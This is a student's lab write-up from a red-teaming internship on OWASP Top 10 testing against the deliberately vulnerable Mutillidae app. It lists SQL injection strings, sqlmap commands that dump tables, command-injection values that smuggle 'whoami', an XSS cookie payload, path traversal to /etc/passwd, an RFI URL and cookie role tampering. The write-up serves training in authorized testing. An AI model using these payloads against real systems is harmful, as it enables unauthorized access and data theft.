Share
## https://sploitus.com/exploit?id=A3CE7C9C-D1B0-5419-B785-E6C22068CF5D
# ๐ Week 04 โ Web Application Penetration Testing (OWASP Top 10)
**Intern:** Ali Ahsan | **Roll No:** CSI-B1-427
**Program:** Cyberstar Cybersecurity Red Teaming Internship
**Instructor:** Umar Niaz
**Date:** 28 March 2026
**Target:** Mutillidae (intentionally vulnerable web app)
---
## ๐ Overview
This week covered hands-on exploitation of the most critical web application vulnerabilities based on the **OWASP Top 10**, using both manual techniques and automated tools. The lab demonstrated how insecure implementations can be identified and exploited.
---
## ๐งช Tasks Covered
### Task 01 โ Burp Suite Mastery
- Configured Burp Suite with **FoxyProxy** browser extension (127.0.0.1:8080)
- Intercepted and modified live HTTP requests
- **Repeater** โ replayed and modified requests manually (`/profile?id=1` โ `id=2`)
- **Intruder** โ dictionary-based password attack using payload list: `123456`, `password`, `admin`, `admin123`
### Task 02 โ Injection Attacks (SQL & Command Injection)
**Manual SQL Injection:**
```sql
id=1' -- Error-based detection
id=1 OR 1=1 -- Boolean testing
UNION SELECT 1,2,3... -- Column enumeration
UNION SELECT version(),3 -- Data extraction
```
**SQLMap Automation:**
```bash
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D dbname --tables
sqlmap -r request.txt -D dbname -T users --dump
```
**Command Injection:**
```bash
127.0.0.1; whoami
127.0.0.1 && ls # Linux
127.0.0.1 && dir # Windows
```
### Task 03 โ Broken Access Control & IDOR
- Modified `user_id=1` โ `user_id=2` in requests โ accessed another user's data
- Changed cookie `role=user` โ `role=admin` โ admin panel access confirmed
- **Result:** IDOR and Privilege Escalation both confirmed
### Task 04 โ XSS & File Inclusion
**Reflected XSS:**
```html
alert(document.cookie)
```
โ Session cookie exposed in popup โ
**Local File Inclusion (LFI):**
```
?page=../../../etc/passwd
```
โ Not confirmed on this target
**Remote File Inclusion (RFI):**
```
?page=http://192.168.56.101/test.txt
```
โ Not confirmed on this target
---
## ๐ Vulnerability Summary
| Vulnerability | Status | Impact |
|--------------|--------|--------|
| SQL Injection | โ
Confirmed | Database compromise |
| Command Injection | โ
Confirmed | OS-level access |
| IDOR | โ
Confirmed | Unauthorized data access |
| Privilege Escalation | โ
Confirmed | Admin access |
| Reflected XSS | โ
Confirmed | Session hijacking |
| LFI / RFI | โ Not confirmed | โ |
---
## ๐ ๏ธ Tools Used
`Burp Suite` ยท `FoxyProxy` ยท `SQLMap` ยท `Mutillidae`
---
## โ ๏ธ Disclaimer
> Performed in an **authorized lab environment** using Mutillidae (intentionally vulnerable web app). For educational purposes only.